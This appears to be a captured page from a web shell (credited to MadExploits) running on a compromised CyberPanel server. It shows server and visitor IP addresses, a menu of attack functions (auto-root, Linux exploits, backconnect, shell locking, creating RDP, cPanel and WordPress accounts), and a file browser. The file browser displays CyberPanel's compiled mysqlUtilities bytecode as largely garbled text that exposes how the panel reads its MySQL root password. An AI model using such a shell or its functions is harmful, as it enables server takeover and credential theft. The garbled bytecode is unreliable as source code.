Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
plogical /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
CyberCPLogFileWriter.cpython-3...
3.75
KB
-rw-r--r--
DockerSites.cpython-310.pyc
35.05
KB
-rw-r--r--
__init__.cpython-310.pyc
132
B
-rw-r--r--
acl.cpython-310.pyc
32.58
KB
-rw-r--r--
alias.cpython-310.pyc
1022
B
-rw-r--r--
applicationInstaller.cpython-3...
72.25
KB
-rw-r--r--
backupSchedule.cpython-310.pyc
10.72
KB
-rw-r--r--
backupUtilities.cpython-310.py...
47.59
KB
-rw-r--r--
childDomain.cpython-310.pyc
1.3
KB
-rw-r--r--
cronUtil.cpython-310.pyc
4.01
KB
-rw-r--r--
customACME.cpython-310.pyc
26.61
KB
-rw-r--r--
dnsUtilities.cpython-310.pyc
12.72
KB
-rw-r--r--
getSystemInformation.cpython-3...
4.3
KB
-rw-r--r--
hashPassword.cpython-310.pyc
853
B
-rw-r--r--
httpProc.cpython-310.pyc
3.27
KB
-rw-r--r--
installUtilities.cpython-310.p...
11.58
KB
-rw-r--r--
mailUtilities.cpython-310.pyc
59.57
KB
-rw-r--r--
mysqlUtilities.cpython-310.pyc
24.48
KB
-rw-r--r--
processUtilities.cpython-310.p...
14.36
KB
-rw-r--r--
randomPassword.cpython-310.pyc
565
B
-rw-r--r--
serverLogs.cpython-310.pyc
1.1
KB
-rw-r--r--
sslUtilities.cpython-310.pyc
24.18
KB
-rw-r--r--
sslv2.cpython-310.pyc
12.52
KB
-rw-r--r--
tuning.cpython-310.pyc
8.71
KB
-rw-r--r--
vhost.cpython-310.pyc
22.97
KB
-rw-r--r--
vhostConfs.cpython-310.pyc
14.2
KB
-rw-r--r--
virtualHostUtilities.cpython-3...
42.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mysqlUtilities.cpython-310.pyc
o ���h֥ � @ s& d dl Z d dlZd dlZd dlZd dlmZ ej�d� d dlZe j � dd� ze� � W n Y d dl m Z d dlZd dlZzd dlmZ d dlmZ d d lmZ W n Y d dlZd dlZd d lmZ d d l m Z d dl m Z d d l m!Z! d dl"Z"G d d� d�Z#dd� Z$e%dkr�e$� dS dS )� N)�unquotez/usr/local/CyberCP�DJANGO_SETTINGS_MODULEzCyberCP.settings)�CyberCPLogFileWriter)�Websites)� Databases)�DBUsers)�randint)�ProcessUtilities)�ceilc @ s~ e Zd ZdZdZdZedd� �Zedd� �Zedd � �Z ed@d d ��Z edd� �Z edd� �Z edd� �Z edAdd��ZedBdd��Zedd� �Zedd� �Zed d � �Zed d � �Zed d!� �Zed"d#� �Zed$d%� �Zed&d'� �Zed(d)� �Zed*d+� �Zed,d-� �Zed.d/� �Zed0d1� �Z edCd2d3��Z ed4d5� �Z ed6d7� �Z ed8d9� �Z edDd:d;��Z!ed<d=� �Z"ed>d?� �Z#d S )E�mysqlUtilities� localhostr � c C sl t | �t |� }g }d}|dkrd}|�|� |S t|�}t|�d }td|�D ] }|�|� |d }q(|S )N� g �?)�float�appendr �int�range)�records�toShow�pages� pagination�counter� finalPages�i� r �-/usr/local/CyberCP/plogical/mysqlUtilities.py� getPagination$ s � z mysqlUtilities.getPaginationc C s | | | }|| }||fS )Nr )�pager �finalPageNumber� endPageNumberr r r �recordsPointer8 s z mysqlUtilities.recordsPointerc C s� z�d} zct �t| d��� �}|d }|d }|d }|d }|t_|�d�dkr+d t_d }t|�}|�� }|�d d �d } | t_ t j � t j�rPtj�d tj � tj|||t|�tjd�} | �� } | | fW W S ty� } zAt j � t j�rtj�dt| � � t| �}|�� } | �d d �d }|�d ��d�}tjd|tjd�} | �� } | | fW Y d } ~ W S d } ~ ww ty� } ztj�t| �� W Y d } ~ dS d } ~ ww )N� /etc/cyberpanel/mysqlPassword�r� mysqluser� mysqlpassword� mysqlport� mysqlhostz rds.amazon���r �/etc/cyberpanel/machineIP� r zLocal IP for MySQL: %s)�host�user�passwd�port� cursorclassz%s. [setupConnection:75]� �root)r+ r, r. )r r )�json�loads�open�readr � REMOTEHOST�find�RDS�split� LOCALHOST�os�path�existsr � debugPath�loggingr � writeToFile�mysql�connectr �cursors�SSCursor�cursor� BaseException�str�strip)�passFile�jsonDatar# r$ r% r& �ipFile�f�ipData�ipAddressLocal�connrD �msg�data�passwordr r r �setupConnection> sL ����z mysqlUtilities.setupConnectionr Nc C s� z�t �� \}}|dkrW dS |dkrt j}n|}|r0d| }tj�tj�r+tj � |� |� |� t j � d�dkr@d|||f }n d| d| | d }tj�tj�rYtj � |� |� |� t jdkr�|� d | d | d | � tj�tj�r�tj � d | d | d | � n&|� d | d | d | � tj�tj�r�tj � d | d | d | � |�� W dS ty� } z"|r�tj�tj�r�tj � d| � tj � t| �d � W Y d } ~ dS d } ~ ww )Nr r zCREATE DATABASE %s�ondigitaloceanr' zCCREATE USER '%s'@'%s' IDENTIFIED WITH mysql_native_password BY '%s'� CREATE USER '�'@'%s' IDENTIFIED BY '�'�GRANT ALL PRIVILEGES ON �.* TO '�'@'%s'�DGRANT INDEX, DROP, UPDATE, ALTER, CREATE, SELECT, INSERT, DELETE ON z-Deleting database because failed to create %s�[createDatabase])r rR r9 r: r; r< r r= r> r r? �executer5 r6 r7 �closerE rF ) �dbname�dbuser� dbpassword�dbcreater* � connectionrD � HostToUse�queryrO r r r �createDatabaset s\ ���� �� ��z mysqlUtilities.createDatabasec C s� z't �� \}}|dkrW dS |�d| � |�d| dt j | d � W dS tyD } ztj�t|�d � W Y d }~dS d }~ww )Nr zCREATE DATABASE rT rU rV r z[createDBUser]) r rR r\ r9 rE r> r r? rF )r_ r` rb rD rO r r r � createDBUser� s ��zmysqlUtilities.createDBUserc C s� z:t �� \}}|dkrW dS t jdkr$|�d| d | dt j � n|�d| d | dt j � |�� W dS tyW } ztj� t |�d � W Y d }~dS d }~ww )Nr rW rX rY rZ r r[ ) r rR r7 r\ r9 r] rE r> r r? rF )� globalUser�dbNamerb rD rO r r r �allowGlobalUserAccess� s "���z$mysqlUtilities.allowGlobalUserAccessc C s� zGd| }d| }t �|� t�� \}}|dkrW dS |�d| � |�d| � |�� }|D ]}|�d|d d|d � q/|�� W dS tyg } ztj � t |�d � t |�W Y d }~S d }~ww ) Nz/var/lib/mysql/%s/.gitz rm -rf %sr zDROP DATABASE `%s`z,select user,host from mysql.db where db='%s'z DROP USER 'rY r �[deleteDatabase]) r � executionerr rR r\ �fetchallr] rE r> r r? rF ) r^ r_ �dbPath�commandrb rD � databaseUsers� databaseUserrO r r r �deleteDatabase� s& ��z mysqlUtilities.deleteDatabasec C s� �z3d}z t �t|d��� �}|d }|d }|d } |d } |} W n d}t|�} | �� } | �dd�d } d } d } d }Y d }tj�|�sad| | f }t|d�}|�|� |� � t� |d� d}|d kr�d| d | d }t � |� d|| | | f }t �|�}t|d | d d��7} tj|| tj|d�}|jd kr�tj�d| d � tj�|j�d�� W d � W d S W d � W dS 1 s�w Y W dS d}d|� d | � d | � d | � d |� d |� d!| � d"�}tj�t j�r�tj�|� t �t �|d d��d��}z|d# }|d$ d% }|d$ d& }d|fW W S t�y4 } z d t|�fW Y d }~W S d }~ww t�yR } ztj�t|�d' � W Y d }~d S d }~ww )(Nr! r" r# r$ r% r& r) r r r �3306r0 �/home/cyberpanel/.my.cnf�Y[mysqldump] user=root password=%s max_allowed_packet=1024M [mysql] user=root password=%s �w� Fzrm -f �/�.sqlzOmysqldump --defaults-file=/home/cyberpanel/.my.cnf -u %s --host=%s --port %s %s)�stdout�stderr�shellz Database: z/ could not be backed up! [createDatabaseBackup]zutf-8Tz6mysqldump --defaults-file=/home/cyberpanel/.my.cnf -u z --host=z --port zS --add-drop-table --allow-keywords --complete-insert --quote-names --skip-comments z 2>/dev/null | sudo -u � rustic -r z backup --stdin-filename z'.sql - --password "" --json 2>/dev/null�id�summary� files_new�total_durationz[createDatabaseBackup]) r1 r2 r3 r4 r8 r: r; r< �writer] �chmodr rk �shlex� subprocess�run�PIPE� returncoder> r r? rz �decoder= �outputExecutioner�rstriprE rF )� databaseName�tempStoragePath�rustic�RusticRepoName� externalApprH rI r# r$ r% r& rQ rK rP �cnfPath� cnfContentr? �SHELLrn �cmd�result� SnapShotIDr r� rO r r r �createDatabaseBackup� s� � � �� �)�)�0 � ����z#mysqlUtilities.createDatabaseBackupc C s �zad} z t �t| d��� �} | d } | d } | d } | d }| }W n d} t| �}|�� }|�dd�d }d }d } d } Y d }tj�|�smd||f }t|d�}|�|� |� � t� |d� d| }t � t �|�� |d k�r-d| || | f }tj�tj�r�tj�|� d|� d| � d�� t �|�}|d kr�t|d | d d��}t j ||d�}W d � n1 s�w Y |d kr�tj�d| d � W d S n4t|d | d d��}t j ||d�}W d � n1 s�w Y |d k�rtj�d| d � W d S |d k�r*t�� \}}|d k�rW d S d| dtj | d }|�|� |� � W dS d |� d |� d |� d | � d � | || | f }tj�tj��rYtj�|� d|� d| � d�� t�|d d!� W d S t�y� } ztj�t|�d" � W Y d }~d S d }~ww )#Nr! r" r# r$ r% r& r) r r r rr r0 rs rt ru rv z chown cyberpanel:cyberpanel %szKmysql --defaults-file=/home/cyberpanel/.my.cnf -u %s --host=%s --port %s %s� rw rx )�stdinz"Could not restore MYSQL database: z! [restoreDatabaseBackup]z use mysql;SET PASSWORD FOR '� '@'%s' = 'z';FLUSH PRIVILEGES;zsudo -u r| z dump �:zm.sql --password "" 2>/dev/null | mysql --defaults--file=/home/cyberpanel/.my.cnf -u %s --host=%s --port %s %sTz[restoreDatabaseBackup])r1 r2 r3 r4 r8 r: r; r< r� r] r� r� �callr� r r= r> r r? r rR r9 r\ r� rE rF ) r� r� � dbPassword� passwordCheck�additionalNamer� r� r� � snapshotidrH rI r# r$ r% r& rQ rK rP r� r� r? rn r� �resrb rD � passwordCMDrO r r r �restoreDatabaseBackupr s� � �� � � ��z$mysqlUtilities.restoreDatabaseBackupc C s zbt | �dks t |�dkrtd��tjj|d�}|jjdkr n|jj|j�� � � kr+ntd��t jj | d�� � sAt jj |d�� � rEtd��t �| ||�}|d krQnt|��t || |d �}|�� W d S ty� } ztj�t|�� dt|�fW Y d }~S d }~ww ) N� z=Length of Database name or Database user should be 32 at max.��domainr z0Maximum database limit reached for this website.�rh )�dbUserz'This database or user is already taken.r )�websiterh r� �r �None)�lenrE r �objects�get�package� dataBases� databases_set�all�countr �filterr< r re �saver> r r? rF )rh � dbUsernamer� �databaseWebsiter� r� �dbrO r r r �submitDBCreation� s. $��z mysqlUtilities.submitDBCreationc C s� z(t jj| d�}t�| |j�}|dkr|�� W dS |�� tj� d| � W dS t yH } ztj� t |�� dt |�fW Y d }~S d }~ww )Nr� r r� z,Deleted database with some errors. Error: %sr ) r r� r� r rq r� �deleter> r r? rE rF )rh �databaseToBeDeletedr� rO r r r �submitDBDeletion� s ��z mysqlUtilities.submitDBDeletionc C s( z t jj| d�}|j�� W S Y d S )Nr� )r r� r� r� r� )�virtualHostNamer� r r r � getDatabases� s zmysqlUtilities.getDatabasesc C s� z�t �� \} }| dkrW dS |�d� |�� }i }d|d< |D ]+}|d dkr1t �|d �|d< q |d dkr>|d |d< q |d d krJ|d |d < q |�d � |�� }d }d}|D ]a}tt|d ��dkrid }n|d }tt|d ��dkrzd }n|d }tt|d ��dkr�d } n|d } |d |d ||d |d || |d d�} |dkr�|t�| � }d}qZ|d t�| � }qZ|d }||d< |W S t y� } zt j � t| �d � W Y d } ~ dS d } ~ ww )Nr zSHOW GLOBAL STATUSr �status�Uptime�uptime� Connections� connections� Slow_querieszshow processlist�[�NULL� � r � � � )r} r+ �databasern �time�state�info�progress�,�]� processes� [showStatus]) r rR r\ rl �GetTimer� rF r1 �dumpsrE r> r r? ) rb rD r� rP �items� json_data�checkerr� r� r� �dicrO r r r � showStatus sf � � ��zmysqlUtilities.showStatusc C sL t | �}|d }|d }|d }|d; }|d }|d; }|} d|||| f S )Ni�Q i �< z %d:%d:%d:%d)r )�secondsr� �day�hour�minutesr r r r� R s zmysqlUtilities.GetTimec C s` ztt �� t jkst �� t jkr"d}tj�| d �}|�dd�| d< nd}tj�| d �}|�dd�| d< t �|� dt t dd�� }t |d �}|� | d � |� � t �� t jks`t �� t jkrgd | d }nd | d }t �|� W d S ty� } z/t �� t jks�t �� t jkr�d}nd}t�t�|�� tj�t |�� dt |�fW Y d }~S d }~ww )Nz#sudo mv /etc/my.cnf /etc/my.cnf.bak�suggestedContentz/var/lib/mysql/mysql.sockz/var/run/mysqld/mysqld.sockz/sudo mv /etc/mysql/my.cnf /etc/mysql/my.cnf.bakz/home/cyberpanel/i� i' ru zsudo mv z /etc/my.cnfz /etc/mysql/my.cnf�r N�#sudo mv /etc/my.cnf.bak /etc/my.cnfz0sudo mv /etc/mysql/my.cnf.bak /etc/mysql//my.cnfr )r � decideDistro�centos�cent8�urllib�parser �replacerk rF r r3 r� r] rE r� r� r� r8 r> r r? )rP rn �decoded_content�tempPathr? rO r r r �applyMySQLChanges_ s: � ��z mysqlUtilities.applyMySQLChangesc C s� z&t �� \} }| dkrW dS |�d� |�� }|D ] }tj�t|�� qW d S tyC } ztj�t|�d � W Y d }~dS d }~ww )Nr zSHOW VARIABLESr� ) r rR r\ rl r> r r? rF rE )rb rD r� r� rO r r r �fetchVariables� s ���z mysqlUtilities.fetchVariablesc C sj z d} t �| � W dS ty4 } z d} t�t�| �� tj� t |�� dt |�fW Y d }~S d }~ww )Nz sudo systemctl restart mariadbr� r� r ) r rk rE r� r� r� r8 r> r r? rF )rn rO r r r � restartMySQL� s ��zmysqlUtilities.restartMySQLc C s zgt �� \} }| dkrW dS i }d|d< |�d� |�� }d}d}d}|D ]7}|d dks9|d dks9|d dkr:q%||d d �}|d }|dkrS|t�|� }d}q%|d t�|� }q%|d }||d < |W S ty� } ztj� t | �d � W Y d } ~ dS d } ~ ww )Nr r r� zSHOW DATABASESr� �information_schemar@ �performance_schema)r} r� r� r� � databases�[fetchDatabases]� r rR r\ rl r1 r� rE r> r r? rF ) rb rD rP r� r r� r� r� r� rO r r r �fetchDatabases� s< $���z mysqlUtilities.fetchDatabasesc C s zkt �� \}}|dkrW dS i }d|d< |�d| d � |�d� |�� }d}d}d}|D ]2}|d |d |d |d |d |d d �} |d }|dkrW|t�| � }d}q.|d t�| � }q.|d }||d< |W S ty� } ztj� t | �d � W Y d } ~ dS d } ~ ww )Nr r r� �use r� zSHOW TABLE STATUSr� � � r� � )�Name�Engine�Version� rowFormat�rows� Collationr� r� �tablesr� r� ) �namerb rD rP r� r r� r� r� r� rO r r r � fetchTables� sB ���zmysqlUtilities.fetchTablesc C s� z(t �� \}}|dkrW dS i }d|d< |�d| d � |�d| d � |W S tyE } ztj�t|�d � W Y d }~dS d }~ww ) Nr r r� r� r� z DROP TABLE � tableNamer� )r rR r\ rE r> r r? rF )r� rb rD rP rO r r r � deleteTable s ��zmysqlUtilities.deleteTablec C s� z�t �� \}}|dkrW dS t| d �}t| d �}i }d|d< |�d| d � |�d| d � |�� d d }|�d | d � |�� }d |d < |D ]}|d d |d d |d < qM|d d |d < |d d |d < t �||�|d< t �||�\} } |�d| d � |�� }|| | � D ]%}|d d |d < |D ]} |d d t| � d |d < q�|d d |d < q�|d d |d < |W S ty� } zt j � t| �d � W Y d } ~ dS d } ~ ww )Nr � recordsToShow� currentPager r� r� r� zselect count(*) from r �desc z <thead><tr>� completeDataz<th>z</th>z </tr></thead>z<tbody>r zselect * from z<tr>z<td>z</td>z</tr>z</tbody>z[fetchTableData]) r rR r r\ rl r r rF rE r> r r? ) r� rb rD r r rP r� r� r� r r �itrO r r r �fetchTableData sD ��z mysqlUtilities.fetchTableDatac C s zit �� \}}|dkrW dS |�d| d � |�d| d � |�� }i }d|d< d}d}|D ].}|d |d |d |d |d |d d �}|dkrU|t�|� }d}q0|d t�|� }q0|d }||d< |W S ty� } ztj� t | �d � W Y d } ~ dS d } ~ ww )Nr r� r� r r r r� r� r� r� r� r� )r� �Type�Null�Key�Default�Extrar� r� �columnsr� r� ) r� rb rD r� rP r� r� r� r� rO r r r �fetchStructureZ s> � ��z mysqlUtilities.fetchStructurec C s zqt �� \}}|dkrW dS |�d� |d kr|}nt j}|d krMztjj| d�}d| d| | d }W n" t �| �} d| d| | d }Y n d| d| | d }tj � t j �rft j�|� |�|� |�� W d S ty� } zt j�t| �d � W Y d } ~ dS d } ~ ww ) Nr � use mysql)r+ zSET PASSWORD FOR 'z'@'%s' = PASSWORD('z')r� rV r z [mysqlUtilities.changePassword])r rR r\ r9 r r� r� � fetchuserr: r; r< r r= r> r r? r] rE rF ) �userNamer� �encryptr* rb rD r9 r_ rd rO r r r �changePassword� s4 ��z mysqlUtilities.changePasswordc C s zpt �� \}}|�d� tjj| d�}| �dd�} d| }|dkr$W dS |�|� |�� }d}|D ]8}|d �d�dkre|d |_ |� � z|� � W n Y d|d | f }t j �|� |d W S |d }q1|� � W d S ty� } zt j �t| �d � W Y d } ~ dS d } ~ ww ) Nr r� �_z\_z#select user from db where db = '%s'r r' z.Detected databaser user is %s for database %s.r z[mysqlUtilities.fetchuser])r rR r\ r r� r� r� rl r6 r� r� r] r> r r? rE rF ) r� rb rD r� rd r� r �row�messagerO r r r r � s< ��zmysqlUtilities.fetchuserc C sP z d}t �|� W dS ty' } ztj�t|�d � W Y d }~dS d }~ww )Nz]/usr/local/CyberCP/bin/python /usr/local/CyberCP/plogical/mysqlUtilities.py enableRemoteMYSQLr z"[mysqlUtilities.allowRemoteAccess]r )r rk rE r> r r? rF )rh r �remoteIP�execPathrO r r r �allowRemoteAccess� s ��z mysqlUtilities.allowRemoteAccessc C s� z`t �� t jkst �� t jkrd} nd} t| d��� }|�d�r'td� W dS d}t|�}|�� }|�dd�d }d | }t| d �}|� |� |� � td� d d l m } |d � t � d� W dS ty{ } ztdt| � � W Y d } ~ d S d } ~ ww )Nz/etc/mysql/my.cnf� /etc/my.cnfr" z bind-addressz1,Noner r( r) r z [mysqld] bind-address=%s �a)�sleepr� zsystemctl restart mariadbz(0,%s "[mysqlUtilities.enableRemoteMYSQL])r r� �ubuntu20�ubuntur3 r4 r6 �printr8 r� r] r� r �popenExecutionerrE rF ) r� rP rJ rK rL rM � mysqldContentr? r rO r r r �enableRemoteMYSQL� s8 � ��z mysqlUtilities.enableRemoteMYSQLc C s� z�t �� \}}|dkrW dS |r�z|�d| dt j | d � W W d S ty� } zStj�dt|� � z |�d|t jf � |�d| dt j | d � W n tyn } ztj�dt|� � W Y d }~n d }~ww W Y d }~W d S W Y d }~W d S d }~ww t j dkr�|�d| d | d t j � n/z|�d | d | d t j � W n ty� } ztj�d t|� � W Y d }~nd }~ww |� � W d S ty� } ztj�t|�d � W Y d }~dS d }~ww )Nr rT rU rV z%s [addUserToDB:937]zDROP USER '%s'@'%s'z%s [addUserToDB:943]rW rX rY rZ z%s [addUserToDB:953]r z [addUserToDB]) r rR r\ r9 rE r> r r? rF r7 r] )r� r+ rQ � createUserrb rD rO r r r � addUserToDB s\ � �� �� � ��� �� ����zmysqlUtilities.addUserToDBc C s� z"t �� \}}|dkrW dS |�d| � |�d| � |�� W dS tyB } ztj�t|�d � t|�W Y d }~S d }~ww )Nr zuse %szGUPDATE `wp_users` SET `user_pass`= MD5('%s') WHERE `user_login`='usman'r rj ) r rR r\ r] rE r> r r? rF )r^ rQ rb rD rO r r r �UpdateWPTempPassword9 s ��z#mysqlUtilities.UpdateWPTempPasswordc C sj d}t �|�}|�| �dkr#td|� d�� tj�|d|� d�� dS tj�|d� d}ddlm} |� dkr@tj�|d � d S tj � |�sTd }t � |� tj�|d � t � � t j ksbt � � t jkr�d }d}d|� d|� �}t � |� d}t � |dd� d}t � |dd� d}t � |dd� d}t � |dd� d}d| � d| � d| � d�} t|d �} | �| � | �� d }t � |dd� d }t � |dd� nfd }d}d|� d|� �}t � |� tj � d �r�t�d |� d!�� d"}t � |dd� d#}d$| � d%�} t|d �} | �| � | �� d&}t �|dd�}t|� d'}t �|dd�}t|� d(}t �|dd�}t|� tj�|d)� d S )*Nzmysql --versionr' zMySQL is already z. [200]r z Creating backup of MySQL..,10z/var/lib/mysql-backupcp)�getuidz'This function should run as root. [404])r z!This function should run as root.z2rsync -av /var/lib/mysql/ /var/lib/mysql-backupcp/zMySQL backup created..,20z /etc/mysql/ z/etc/cnfbackup/z rsync -av r� z]sudo apt-get remove --purge mariadb-server mariadb-client galera -y && sudo apt autoremove -yr0 Tz+apt-get install apt-transport-https curl -yzmkdir -p /etc/apt/keyrings zccurl -o /etc/apt/keyrings/mariadb-keyring.pgp 'https://mariadb.org/mariadb_release_signing_key.pgp'z'/etc/apt/sources.list.d/mariadb.sourcesz # MariaDB a repository list - created 2023-12-11 07:53 UTC # https://mariadb.org/download/ X-Repolib-Name: MariaDB Types: deb # deb.mariadb.org is a dynamic mirror if your preferred mirror goes offline. See https://mariadb.org/mirrorbits/ for details. # URIs: https://deb.mariadb.org/z7/ubuntu URIs: https://mirrors.gigenet.com/mariadb/repo/zc/ubuntu Suites: jammy Components: main main/debug Signed-By: /etc/apt/keyrings/mariadb-keyring.pgp ru zapt-get update -yzEDEBIAN_FRONTEND=noninteractive sudo apt-get install mariadb-server -yz/etc/my.cnf.d/ r z/my.cnfzyum remove mariadb* -yz /etc/yum.repos.d/mariadb.repoz; [mariadb] name = MariaDB baseurl = http://yum.mariadb.org/zi/rhel8-amd64 module_hotfixes=1 gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB gpgcheck=1 z dnf update -yz dnf install mariadb-server -yz3systemctl start mariadb && systemctl enable mariadbzCompleted [200])r r� r6 r r> r � statusWriterr: r' r; r< rk r� r r r3 r� r] �shutil�copy) �versionToInstall�tempStatusPathrn r� �MySQLBackupDirr' �CNFCurrentPath� CNFBackupPath�RepoPath� RepoContent� WriteToFiler r r �UpgradeMariaDBN s� ��� � z mysqlUtilities.UpgradeMariaDBr� )r NN)NNr NNN)NN)r )$�__name__� __module__� __qualname__r9 r7 r5 � staticmethodr r rR re rf ri rq r� r� r� r� r� r� r� r� r� r� r� r r r r r r r r# r% r& r3 r r r r r s| 5 : " v U " K * , - ; 1 & & ' ) r c C sv t jdd�} | jddd� | jddd� | jddd� | �� }|jd kr*t�� d S |jd kr9t�|j|j � d S d S ) N� CyberPanel)� description�functionz Specific a function to call!)�helpz --versionz MySQL version to upgrade to.z--tempStatusPathr# r3 ) �argparse�ArgumentParser� add_argument� parse_argsr: r r# r3 �versionr, )�parser�argsr r r �main� s �rC �__main__)&r: �sysr) r� � urllib.parser r; r �django�environ� setdefault�setup�plogicalr r> r� r� �websiteFunctions.modelsr �databases.modelsr � backup.modelsr �MySQLdbr@ r1 �randomr �plogical.processUtilitiesr �MySQLdb.cursorsrB �mathr r< r rC r4 r r r r �<module> sR 3 �
Close
